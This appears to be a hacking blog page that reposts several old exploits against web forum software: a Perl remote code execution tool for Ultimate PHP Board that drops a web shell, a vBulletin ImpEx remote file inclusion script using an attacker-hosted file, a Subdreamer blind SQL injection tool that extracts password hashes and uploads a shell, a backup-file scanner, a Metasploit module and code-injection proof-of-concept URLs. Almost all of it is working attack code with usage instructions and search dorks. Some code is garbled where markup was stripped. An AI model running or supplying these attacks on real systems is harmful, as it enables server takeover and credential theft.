WaNnA bE A HaCkeR?

Ultimate PHP Board <= 2.0b1 (chat/login.php) Code Execution Exploit

2011-08-06T06:35:00.002-07:00

#!/usr/bin/perl

# +-------------------------------------------------------------------------------------------

# + Ultimate PHP Board <= 2.0b1 (chat/login.php) Remote Code Execution Vulnerability

# +-------------------------------------------------------------------------------------------

# + Affected Software .: Ultimate PHP Board (myUPB) <= 2.0b1

# + Vendor ............: http://www.myupb.com/

# + Download ..........: http://fileserv.myupb.com/upb2.0B1.zip

#
 + Description .......: "Ultimate PHP Board is a free discussion forum 
that can be used as a free alternative to UBB or vBulletin"

# + Dork ..............: "Powered by UPB"

# + Class .............: Remote Code Execution

# + Risk ..............: High (Remote Code Execution)

# + Found By ..........: nuffsaid 

# +-------------------------------------------------------------------------------------------

# + Details:

# + Ultimate PHP Board chat/login.php does not sanatize the $username ($_GET["username"])

# + variable before writing it to chat/text.php on line 28, arbitrary php code can be written

# + then executed by visiting chat/text.php.

# +

# + Vulnerable Code: 

# + chat/login.php, line(s) 23-28:

# + -> 23: $filename = "text.php";

# + -> 24: $fileAr= file($filename);

# + -> 25: exec("cat /dev/null > '$filename'");

# + -> 26: $fd = fopen( $filename, "a+" );

#
 + -> 27: $filemessage = "$username entered at 
$date
\n";

# + -> 28: fputs($fd,$filemessage);

# +

# + Proof of Concept:

# + http://[target]/[path]/chat/login.php?option=chat&username=[code]

# + http://[target]/[path]/chat/text.php

# +-------------------------------------------------------------------------------------------

use Getopt::Long;

use URI::Escape;

use IO::Socket;

$code = "";

main();

sub usage

{

    print "\nUltimate PHP Board <= 2.0b1 Remote Code Execution Exploit\n";

    print "nuffsaid \n";

    print "-h, --host\ttarget host\t(example.com)\n";

    print "-d, --dir\tinstall dir\t(/forum)\n";

    exit;

}

sub main

{

    GetOptions ('h|host=s' => \$host,'d|dir=s' => \$dir);

    usage() unless $host;

    $dir = "/forum" unless $dir;

    $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")

     or die "\nconnect() failed.\n";

    print "\nconnected to ".$host.", sending data.\n";

    $sendurl = uri_escape($code);

    print $sock "GET ".$dir."/chat/login.php?option=chat&username=".$sendurl." HTTP/1.1\n";

    print $sock "Host: ".$host."\n";

    print $sock "Accept: */*\n";

    print $sock "Connection: close\n\n";

    print "\n";

    print "attempted to create php shell, server response:\n\n";

    while($recvd = <$sock>)

    {

        print " ".$recvd."";

    }

    while($cmd !~ "~quit")

    {

        print "\n\n-> ";

        $cmd = ;

        if ($cmd !~ "~quit")

        {

          $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")

           or die "connect() failed.\n";

          $sendurl = uri_escape($cmd);

          print $sock "GET ".$dir."/chat/text.php?cmd=".$sendurl." HTTP/1.1\n";

          print $sock "Host: ".$host."\n";

          print $sock "Accept: */*\n";

          print $sock "Connection: close\n\n";

          print "\n";

          while($recvd = <$sock>)

          {

              print $recvd;

          }

        }

    }

    exit;

}

vBulletin ImpEx <= 1.74 Remote Command Execution Exploit

2011-08-06T06:35:00.000-07:00

/*

vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN

Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf

url:  http://www.xorcrew.net/ReZEN

example:

turl: http://www.target.com/impex/ImpExData.php?systempath=

hurl:http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];

$turl = $_POST["turl"];

$hurl = $_POST["hurl"];

$form= "
.$PHP_SELF."\">"

     ."turl:

value=\"".$turl."\">
"

     ."hurl:

value=\"".$hurl."\">
"

     ."cmd:

value=\"".$cmd."\">
"

     .""

     ."
";

if (!isset($_POST['submit']))

{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, ".$cmd."\");

system(\"echo ++END++\"); ?>");

fclose($file);

$file = fopen ($turl.$hurl, "r");

if (!$file) {

     echo "Unable to get output.\n";

     exit;

}

echo $form;

while (!feof ($file)) {

     $line .= fgets ($file, 1024)."
";

     }

$tpos1 = strpos($line, "++BEGIN++");

$tpos2 = strpos($line, "++END++");

$tpos1 = $tpos1+strlen("++BEGIN++");

$tpos2 = $tpos2-$tpos1;

$output = substr($line, $tpos1, $tpos2);

echo $output;

}

?>

Subdreamer 2.2.1 SQL Injection / Command Execution Exploit

2011-08-06T06:34:00.000-07:00

#!/usr/bin/perl

## Subdreamer 2.2.1 command exec exploit

## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## supported targets:

##  ~ without forum integration

##  ~ with phpBB2 integration

##  ~ with ipb2 integration

##  ~ with vbulletin2 integration

## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## based on RST/GHC advisory #35

## http://rst.void.ru/papers/advisory35.txt

## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## (c)oded by 1dt.w0lf - 19/09/2005

## RST/GHC

## http://rst.void.ru

## http://ghc.ru

## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## work:

## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## r57subdreamer.pl -p http://subdreamer.com.ru/ -u 2 -t 1

## ------------------------------------------------------------------

## [~]   PATH : http://subdreamer.com.ru/

## [~]   USER : 2

## [~] TARGET : 1 - PhpBB2

## [1] STEP 1 : TRY GET USER PASSWORD

## [~] SEARCHING PASSWORD ... [ DONE ]

## -----------------------------------------------------------

##  USER_ID: 2

##     PASS: 26310e438a5a1fb8622738f1e5d34f8b

## -----------------------------------------------------------

## [2] STEP 2 : CHECK WHAT USER HAVE ACCESS TO ADMIN ZONE

## [+] DONE! THIS USER HAVE ACCESS!

## [3] STEP 3 : UPLOAD FILE

## [+] DONE! FILE "img.php" UPLOADED

## [+] WELL DONE! NOW YOU CAN EXECUTE COMMANDS! =)

## SUBDREAMER# id; uname -a; ls -la;

## ----------------------------------------------------------------

## uid=1003(apache) gid=1003(apache) groups=1003(apache)

## FreeBSD customer-3314.cit-network.net 5.3-RELEASE FreeBSD 5.3-RELEASE #0:

## Fri Nov  5 04:19:18 UTC 2004     root@harlow.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

## total 24

## drwxrwxrwx   5 enshteyn  apache  512 Sep 19 23:04 .

## drwxr-x---  10 enshteyn  apache  512 Sep 17 21:03 ..

## drwxr-xr-x   2 enshteyn  apache  512 Sep 10 14:09 Image

## -rw-r--r--   1 apache    apache   48 Sep 19 23:04 img.php

## drwxrwxrwx   2 enshteyn  apache  512 Sep 10 14:09 logos

## drwxrwxrwx   2 enshteyn  apache  512 Sep 10 14:09 smilies

## ----------------------------------------------------------------

## SUBDREAMER# exit

## @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

## config

## ------

##

## images folder

$img_folder = 'images';

## or try

##$img_folder = 'images/logos';

##

## end config

use LWP::UserAgent;

use HTTP::Cookies;

use Getopt::Std;

getopts('u:p:h:t:');

$path = $opt_p;

$user = $opt_u;

$hash = $opt_h;

$target = $opt_t || 0;

$s_num = 1;

$|++;

$n = 0;

@targets = (

#['target name','colimn1 in database','colimn2 in database','cookie name 1','cookie name 2']

 ['Subdreamer without forum','userid','password','sduserid','sdpassword'],

 ['PhpBB2','user_id','user_password','phpbb2mysql_data',''],

 ['IPB2','id','member_login_key','member_id','pass_hash'],

 ['PhpBB2 cookie injection','','','phpbb2mysql_data',''],

 ['IPB2 cookie injection','id','','member_id','pass_hash'],

 ['Vbulletin cookie injection','userid','','bbuserid','bbpassword'],

);

if (!$path || !$user || $target<0 || $target>5) { &usage; }

&head();

if($path=~/[^\/]$/) { $path .= '/'; }

print "[~]   PATH : $path\r\n";

print "[~]   USER : $user\r\n";

print "[~] TARGET : $target - $targets[$target][0]\r\n";

if($target==1||$target==2||$target==0) {

print "[1] STEP 1 : TRY GET USER PASSWORD\r\n";

if(!$hash){

print "[~] SEARCHING PASSWORD ... [|]";

FIND: while(1)

{

if(&found(47,58)==0) { &found(96,103); } 

$char = $i;

if ($char=="0") 

 { 

 if(length($allchar) > 0){

 print qq{\b\b DONE ] 

-----------------------------------------------------------

 USER_ID: $user

    PASS: $allchar

-----------------------------------------------------------

};

 last FIND;

 }

 else

 {

 print "\b\b FAILED ]";

 }

 exit(); 

 }

else

 {  

 $allchar .= chr($char); 

 }

$s_num++;

}

}

else

{

print "[~] SKIP. HASH EXISTS\r\n"; 

$allchar = $hash;

}

}

print "[2] STEP 2 : CHECK WHAT USER HAVE ACCESS TO ADMIN ZONE\r\n";

if(&check_admin_rights())

 {

 print "[+] DONE! THIS USER HAVE ACCESS!\r\n"; 

 }

else

 {

 print "[-] DAMN! THIS USER NOT ADMIN =(\r\n"; 

 exit();

 }

print "[3] STEP 3 : UPLOAD FILE\r\n";

if(&upload_file())

 {

 print "[+] DONE! FILE \"img.php\" UPLOADED\r\n"; 

 }

else

 { 

 print "[-] DAMN! UPLOAD ERROR =(\r\n"; 

 exit();

 }

print "[+] WELL DONE! NOW YOU CAN EXECUTE COMMANDS! =)\r\n"; 

while ()

 {

    print "SUBDREAMER# ";

    while()

     {

        $cmd=$_;

        chomp($cmd);

        exit() if ($cmd eq 'exit');

        last;

     }

    &run($cmd);

 }

sub found($$)

 {

 my $fmin = $_[0];

 my $fmax = $_[1];

 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

 $r = int($fmax - ($fmax-$fmin)/2);

 $check = " BETWEEN $r AND $fmax";

 if ( &check($check) ) { &found($r,$fmax); }

 else { &found($fmin,$r); }

 }

sub crack($$)

 {

 my $cmin = $_[0];

 my $cmax = $_[1];

 $i = $cmin;

 while ($i<$cmax)

  {

  $crcheck = "=$i";

  if ( &check($crcheck) ) { return $i; }

  $i++;

  }

 $i = 0;

 return $i;

 }

sub check($)

 {

 $n++;

 status();

 $ccheck = $_[0];

 $username = "no_such_user' OR (".$targets[$target][1]."=".$user." AND (ascii(substring(".$targets[$target][2].",".$s_num.",1))".$ccheck.")) /*";

 $xpl = LWP::UserAgent->new() or die;

 $res = $xpl->post($path.'index.php',

 {

 "loginusername" => $username,

 "loginpassword" => "nap0Jlb_Haxep",

 "login"         => "login",

 "Submit now"    => "Login"

 }

 ); 

 @results = $res->content; 

 foreach $result(@results)

  {

  if ($result =~ /(Database error)|(Invalid SQL)/i)

   {

   print "\r\n[-] SQL SYNTAX ERROR! CHECK TARGET!\r\n"; 

   exit();

   }

  #print $result;

  # english pattern

  if ($result =~ /Wrong Password/) { return 1; }

  # russian pattern

  if ($result =~ /...... ......./) { return 1; }

  # russian pattern 2

  if ($result =~ /............ ....../) { return 1; }

  # russian pattern 3 ( KOI8-R tested on subdreamer.com.ru )

  if ($result =~ /...... ......./) { return 1; }

  }

 return 0;

 }

sub status()

{

  $status = $n % 5;

  if($status==0){ print "\b\b/]";  }

  if($status==1){ print "\b\b-]";  }

  if($status==2){ print "\b\b\\]"; }

  if($status==3){ print "\b\b|]";  }

}

sub check_admin_rights()

 {

 $xpl = LWP::UserAgent->new() or die;

 $cookie_jar = HTTP::Cookies->new( );

 $xpl->cookie_jar( $cookie_jar );

 ($host = $path) =~ s!http://([^/]*).*!$1!;

if($target == 1)

  {

  # not default phpbb2 cookie, work for subdreamer.com.ru ... maybe default for subdreamer pro RU ???

  #$cookie_jar->set_cookie( "0",$targets[$target][3], 'autologinid='.$allchar.'|userid='.$user,"/",$host,,,,,);

  # default phpbb2 cookie  

  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22".$allchar."%22%3Bs%3A6%3A%22userid%22%3Bs%3A".length($user)."%3A%22".$user."%22%3B%7D","/",$host,,,,,);

  }

 elsif($target == 3)

  {

  # phpbb2 cookie with sql injection

  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A3%3A%22666%22%3Bs%3A6%3A%22userid%22%3Bs%3A".(length($user)+4)."%3A%22".$user."%27+%2F%2A%22%3B%7D","/",$host,,,,,);  

  }

 elsif($target == 4)

  {

  # ipb2 cookie with sql injection

  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  

  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);

  }

 elsif($target == 5)

  {

  # Vbulletin cookie with sql injection

  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  

  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);

  }

 else

  {

  # subdreamer || ipb2 cookies

  $cookie_jar->set_cookie( "0",$targets[$target][3], $user,"/",$host,,,,,);

  $cookie_jar->set_cookie( "1",$targets[$target][4], $allchar,"/",$host,,,,,);

  }

 $res = $xpl->get($path."admin/index.php");

 if($res->content =~ /loginpassword/) { return 0; }

 else { return 1; }

 }

sub upload_file()

 {

 $xpl = LWP::UserAgent->new() or die;

 $cookie_jar = HTTP::Cookies->new( );

 $xpl->cookie_jar( $cookie_jar );

 ($host = $path) =~ s!http://([^/]*).*!$1!;

 if($target == 1)

  {

  # not default phpbb2 cookie, work for subdreamer.com.ru ... maybe default for subdreamer pro RU ???

  #$cookie_jar->set_cookie( "0",$targets[$target][3], 'autologinid='.$allchar.'|userid='.$user,"/",$host,,,,,);

  # default phpbb2 cookie

  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%22".$allchar."%22%3Bs%3A6%3A%22userid%22%3Bs%3A".length($user)."%3A%22".$user."%22%3B%7D","/",$host,,,,,);

  }

 elsif($target == 3)

  {

  # phpbb2 cookie with sql injection

  $cookie_jar->set_cookie( "0",$targets[$target][3],"a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A3%3A%22666%22%3Bs%3A6%3A%22userid%22%3Bs%3A".(length($user)+4)."%3A%22".$user."%27+%2F%2A%22%3B%7D","/",$host,,,,,);  

  }

 elsif($target == 4)

  {

  # ipb2 cookie with sql injection

  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  

  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);

  }

 elsif($target == 5)

  {

  # Vbulletin cookie with sql injection

  $cookie_jar->set_cookie( "0",$targets[$target][3],"666\\","/",$host,,,,,);  

  $cookie_jar->set_cookie( "1",$targets[$target][4],"/**/OR/**/".$targets[$target][2]."=".$user."","/",$host,,,,,);

  }

 else

  {

  # subdreamer || ipb2 cookies

  $cookie_jar->set_cookie( "0",$targets[$target][3], $user,"/",$host,,,,,);

  $cookie_jar->set_cookie( "1",$targets[$target][4], $allchar,"/",$host,,,,,);

  }

 $res = $xpl->post($path.'admin/imagemanager.php',Content_Type => 'form-data',

 Content => [

 'action'        => 'uploadimage',

 'folderpath'    => "../$img_folder/",

 'MAX_FILE_SIZE' => '1000000',

 'image'   => [ 

               undef,

               'img.php', 

               Content_type => 'text/plain',

               Content => '', 

              ],

 'submit'        => 'Upload Image',

 ],

 );

 if($res->content =~ /Settings Updated/) { return 1; }

 if($res->content =~ /Uploading Errors/) { return 0; }

 else { return 1; }

 }

sub run()

 {

 $xpl = LWP::UserAgent->new() or die;

 $res = $xpl->post($path.$img_folder.'/img.php',{'cmd'=>$cmd}); 

 print "----------------------------------------------------------------\r\n";

 print $res->content;

 print "----------------------------------------------------------------\r\n";

 }

sub usage()

 {

 &head();

 print q(|                                                                    |

| - Usage:                                                           |

| r57subdreamer.pl -p  -u  [-t ] [-h ]  |

|         - Path to subdreamer folder                          |

|      - User id for bruteforce                             |

|         - MD5 password hash for this user if you have it =\)  |

| - Available targets:                                               |

|          - brute password:                                         |

|               0 - Subdreamer without forum integration ( default ) |

|               1 - Subdreamer with PhpBB2 integration               |

|               2 - Subdreamer with IPB2 integration                 |

|          - cookie sql injection, dont need brute password:         |

|               3 - Subdreamer with PhpBB2 integration 2             |

|               4 - Subdreamer with IPB2 integration 2               |

|               5 - Subdreamer with Vbulletin integration            |

+--------------------------------------------------------------------+

| e.g.:                                                              |

| r57subdreamer.pl -p http://127.0.0.1/subdreamer/ -u 1              |

| r57subdreamer.pl -p http://www.subdreamer.com.ru -u 2 -t 1         | 

+--------------------------------------------------------------------+

| visit us: http://rst.void.ru , http://ghc.ru                       |

+--------------------------------------------------------------------+

 );

 exit();

 }

sub head()

 {

 print q(

+--------------------------------------------------------------------+

| Subdreamer version 2.2.1 sql injection + command execution exploit |

|                          by 1dt.w0lf                               |

|                            RST/GHC                                 |

+--------------------------------------------------------------------+

);}

vBulletin <= 3.0.8 Accessible Database Backup Searcher (update 3)

2011-08-06T05:27:00.001-07:00

/*

 * Needed to pentest a few vBulletin forums so I wrote this junk real quick.

 * Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html

 * Good paths: /forum/ / /forum/archive/ /forum/cpadmin/

 * Update 1: Code error fixes. /str0ke (str0ke@milw0rm.com)

 * Update 2: Fixed datestring-version for international boards by hals1 (h4ls4bschn31d3r@gmx.net)

 * Update 3: French vBulletin boards added by Tyn0r (tyn0r@atxteam.net)

 * /str0ke

 */

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define SERVER_PORT 80

char *getdate(int b){

    static char datestring[40];

    time_t ttt;

        int minustime;

    minustime=86400 * b;

    ttt=time(NULL)- minustime;

    strftime (datestring, sizeof(datestring), "%m-%d-%Y", localtime(&ttt));

    printf("Searching: forumbackup-%s.sql\n", datestring);

    return(datestring);

}

char *getdate2(int b){

        static char datestring[40];

        time_t ttt;

        int minustime;

        minustime=86400 * b;

        ttt=time(NULL)- minustime;

        strftime (datestring, sizeof(datestring), "%Y-%d-%m", localtime(&ttt));

        printf("Searching: forumbackup-%s.sql\n", datestring);

        return(datestring);

}

char *getdate3(int b){

        static char datestring[40];

        time_t ttt;

        int minustime;

        minustime=86400 * b;

        ttt=time(NULL)- minustime;

        strftime (datestring, sizeof(datestring), "%d-%m-%Y", localtime(&ttt));

        printf("Searching: forumbackup-%s.sql\n", datestring);

        return(datestring);

}

char *getdate4(int b){

    static char datestring[40];

    time_t ttt;

        int minustime;

    minustime=86400 * b;

    ttt=time(NULL)- minustime;

    strftime (datestring, sizeof(datestring), "%m.%d.%Y", localtime(&ttt)); // hals1

    printf("Searching: forumbackup-%s.sql\n", datestring);

    return(datestring);

}

char *getdate5(int b){

        static char datestring[40];

        time_t ttt;

        int minustime;

        minustime=86400 * b;

        ttt=time(NULL)- minustime;

        strftime (datestring, sizeof(datestring), "%Y.%d.%m", localtime(&ttt)); // hals1

        printf("Searching: forumbackup-%s.sql\n", datestring);

        return(datestring);

}

char *getdate6(int b){

        static char datestring[40];

        time_t ttt;

        int minustime;

        minustime=86400 * b;

        ttt=time(NULL)- minustime;

        strftime (datestring, sizeof(datestring), "%d.%m.%Y", localtime(&ttt)); // hals1

        printf("Searching: forumbackup-%s.sql\n", datestring);

        return(datestring);

}

char *getdate7(int b){

        static char datestring[40];

        time_t ttt;

        int minustime;

        minustime=86400 * b;

        ttt=time(NULL)- minustime;

        strftime (datestring, sizeof(datestring), "%d%m%Y", localtime(&ttt)); // Tyn0r

        printf("Searching: forumbackup-%s.sql\n", datestring);

        return(datestring);

}

main(int argc, char *argv[]) {

 char buffer[1000],host[255],path[255],dog[255],c;

 int sd, rc, i=0, d=0, b;

 struct sockaddr_in localAddr, servAddr;

 struct hostent *h;

char *http =

         "Accept: */*\r\n"

         "Accept-Language: en-us,en;q=0.5\r\n"

         "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"

         "User-Agent: we want your backups - milw0rm\r\n"

         "Connection: close\r\n\r\n";

if ( argc != 5) {

            printf("vBulletin <= 3.0.8 Accessible Database Backup Searcher /str0ke ! milw0rm.com\n");

            printf("usage: %s -h hostname/ip -p /path/ \n",argv[0]);

            exit(0);

}

 while ((c = getopt (argc, argv, "h:p:")) != EOF)

       switch(c)

       {

               case 'h':

                       strncpy(host,optarg,sizeof(host));

                       break;

               case 'p':

                       strncpy(path,optarg,sizeof(path));

                       break;

       }

 h = gethostbyname(host);

 if(h==NULL) {

   printf("Unknown Host '%s'\n",host);

   exit(1);

 }

 printf("Trying To Connect To [%s]\n",host);

 while(1){

 servAddr.sin_family = h->h_addrtype;

 memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

 servAddr.sin_port = htons(SERVER_PORT);

 sd = socket(AF_INET, SOCK_STREAM, 0);

 if(sd<0) {

   perror("Can Not Open The Socket\n");

   exit(1);

 }

 localAddr.sin_family = AF_INET;

 localAddr.sin_addr.s_addr = htonl(INADDR_ANY);

 localAddr.sin_port = htons(0);

 rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));

 if(rc<0) {

   printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);

   perror("error ");

   exit(1);

 }

 rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));

 if(rc<0) {

   perror("cannot connect\n");

   exit(1);

 }

   memset(buffer,0,sizeof(buffer));

   if ( d == 0 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate(i),host,http);

   } else if ( d == 1 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate2(i),host,http);

   } else if ( d == 2 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate3(i),host,http);

   } else if ( d == 3 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate4(i),host,http);

   } else if ( d == 4 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate5(i),host,http);

   } else if ( d == 5 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate6(i),host,http);

   } else if ( d == 6 ) {

   snprintf(buffer,sizeof(buffer), "HEAD %s/forumbackup-%s.sql HTTP/1.1\r\nHost: %s\r\n%s",path,getdate7(i),host,http);

   }

   rc = send(sd,buffer, strlen(buffer), 0);

   memset(buffer,0,sizeof(buffer));

while(1)

       {

       rc=recv(sd,buffer,sizeof(buffer),0);

       if(strstr(buffer,"404")) break;

       if(strstr(buffer,"200 OK"))

               {

           if ( d == 0 ) {

               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate(i));

           }

           if ( d == 1 ) {

               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate2(i));

           }

           if ( d == 2 ) {

               printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate3(i));

           }

           if ( d == 3 ) {

           printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate4(i));

           }

           if ( d == 4 ) {

           printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate5(i));

           }

           if ( d == 5 ) {

           printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate6(i));

           }

           if ( d == 6 ) {

           printf("Database backup found: %s%sforumbackup-%s.sql\n", host, path, getdate7(i));

           }

               exit(0);

               }

       memset(buffer,0,sizeof(buffer));

       }

close(sd);

if ( d < 6 ) {

    d++;

} else {

    d=0;

        i++;

}

}

}

vBulletin <= 3.0.6 (Template) Command Execution Exploit (metasploit)

2011-08-06T05:25:00.001-07:00

##

#        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit

#    Name: php_vb3_0_6.pm

# License: Artistic/BSD/GPL

#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.

#

#

#  - This is an exploit module for the Metasploit Framework, please see

#     http://metasploit.com/projects/Framework for more information.

##

package Msf::Exploit::php_vb3_0_6;

use base "Msf::Exploit";

use strict;

use Pex::Text;

use bytes;

my $advanced = { };

my $info = {

        'Name'     => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',

        'Version'  => '$Revision: 1.0 $',

        'Authors'  => [ 'str0ke' ],

        'Arch'     => [ ],

        'OS'       => [ ],

        'Priv'     => 0,

        'UserOpts' =>

          {

                'RHOST' => [1, 'ADDR', 'The target address'],

                'RPORT' => [1, 'PORT', 'The target port', 80],

                'VHOST' => [0, 'DATA', 'The virtual host name of the server'],

                'RPATH' => [1, 'DATA', 'Path to the misc.php script', '/forum/misc.php'],

                'SSL'   => [0, 'BOOL', 'Use SSL'],

          },

        'Description' => Pex::Text::Freeform(qq{

                This module exploits a code execution flaw in vBulletin <= 3.0.6.

}),

        'Refs' =>

          [

                ['MIL', '832'],

          ],

        'Payload' =>

          {

                'Space' => 512,

                'Keys'  => ['cmd', 'cmd_bash'],

          },

        'Keys' => ['vBulletin'],

  };

sub new {

        my $class = shift;

        my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

        return($self);

}

sub Exploit {

        my $self = shift;

        my $target_host    = $self->GetVar('RHOST');

        my $target_port    = $self->GetVar('RPORT');

        my $vhost          = $self->GetVar('VHOST') || $target_host;

        my $path           = $self->GetVar('RPATH');

        my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

        # Encode the command as a set of chr() function calls

        my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

        # Create the get request data

        my $data = "?do=page&template={\${passthru($byte)}}";

        my $req =

                "GET $path$data HTTP/1.1\r\n".

                "Host: $vhost:$target_port\r\n".

                "Content-Type: application/html\r\n".

                "Content-Length: ". length($data)."\r\n".

                "Connection: Close\r\n".

                "\r\n";

        my $s = Msf::Socket::Tcp->new(

                'PeerAddr'  => $target_host,

                'PeerPort'  => $target_port,

                'LocalPort' => $self->GetVar('CPORT'),

                'SSL'       => $self->GetVar('SSL'),

          );

        if ($s->IsError){

                $self->PrintLine('[*] Error creating socket: ' . $s->GetError);

                return;

        }

        $self->PrintLine("[*] Sending the malicious vBulletin Get request...");

        $s->Send($req);

        my $results = $s->Recv(-1, 20);

        $s->Close();

        return;

}

1;

vBulletin <= 3.0.6 php Code Injection

2011-08-06T05:24:00.001-07:00

# Tested on vBulletin Version 3.0.1 /str0ke

# http://www.xxx.net/misc.php?do=page&template={${system(id)}}

#

# [SCAN Associates Security Advisory]

# http://www.scan-associates.net

Proof of concept

================

http://site.com/misc.php?do=page&template={${phpinfo()}}

vBulletin <= 3.0.4 "forumdisplay.php" Code Execution

2011-08-06T05:21:00.000-07:00

Exploit:

----------------

http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Conditions:

----------------

1st condition     : $vboptions['showforumusers'] == True , the admin must set

            showforumusers ON in vbulletin options.

2nd condition     : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.

3rd condition     : $DB_site->fetch_array($forumusers) == True , when you

            visit the forums, it  must has at least one user show the forum.

4th condition     : magic_quotes_gpc must be OFF

SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in

            init.php by secret array GLOBALS[]=1 ;)))

/**************************************************************

#

# vbulletin 3.0.x execute command by AL3NDALEEB al3ndaleeb[at]uk2.net

#

# First condition : $vboptions['showforumusers'] == True , the admin must set

# showforumusers ON in vbulletin options.

# Second condition: $bbuserinfo['userid'] == 0 , you must be an visitor/guest .

# Third condition : $DB_site->fetch_array($forumusers) == True , when you

# visit the forums, it must has at least

# one user show the forum.

# Fourth condition: magic_quotes_gpc must be OFF

#

# Vulnerable Systems:

# vBulletin version 3.0 up to and including version 3.0.4

# 

# Immune systems:

# vBulletin version 3.0.5

# vBulletin version 3.0.6

# 

**************************************************************/

if (!(function_exists('curl_init'))) {

echo "cURL extension required\n";

exit;

}

if ($argv[3]){

$url = $argv[1];

$forumid = intval($argv[2]);

$command = $argv[3];

}

else {

echo "vbulletin 3.0 > 3.0.4 execute command by AL3NDALEEB al3ndaleeb[at]uk2.net\n\n";

echo "Usage: ".$argv[0]."    [proxy]\n\n";

echo " url to vbulletin site (ex: http://www.vbulletin.com/forum/)\n";

echo " forum id\n";

echo " command to execute on server (ex: 'ls -la')\n";

echo "[proxy] optional proxy url (ex: http://proxy.ksa.com.sa:8080)\n\n";

echo "ex :\n";

echo "\tphp vb30x.php http://www.vbulletin.com/forum/ 2 \"ls -al\"";

exit;

}

if ($argv[4])

$proxy = $argv[4];

$action = 'forumdisplay.php?GLOBALS[]=1&f='.$forumid.'&comma=".`echo _START_`.`'.$command.'`.`echo _END_`."';

$ch=curl_init();

if ($proxy){

curl_setopt($ch, CURLOPT_PROXY,$proxy);

}

curl_setopt($ch, CURLOPT_URL,$url.'/'.$action);

curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);

$res=curl_exec ($ch);

curl_close ($ch);

$res = substr($res, strpos($res, '_START_')+7);

$res = substr($res,0, strpos($res, '_END_'));

echo $res;

?>

nodesforum 1.059 Remote File Inclusion Vulnerability

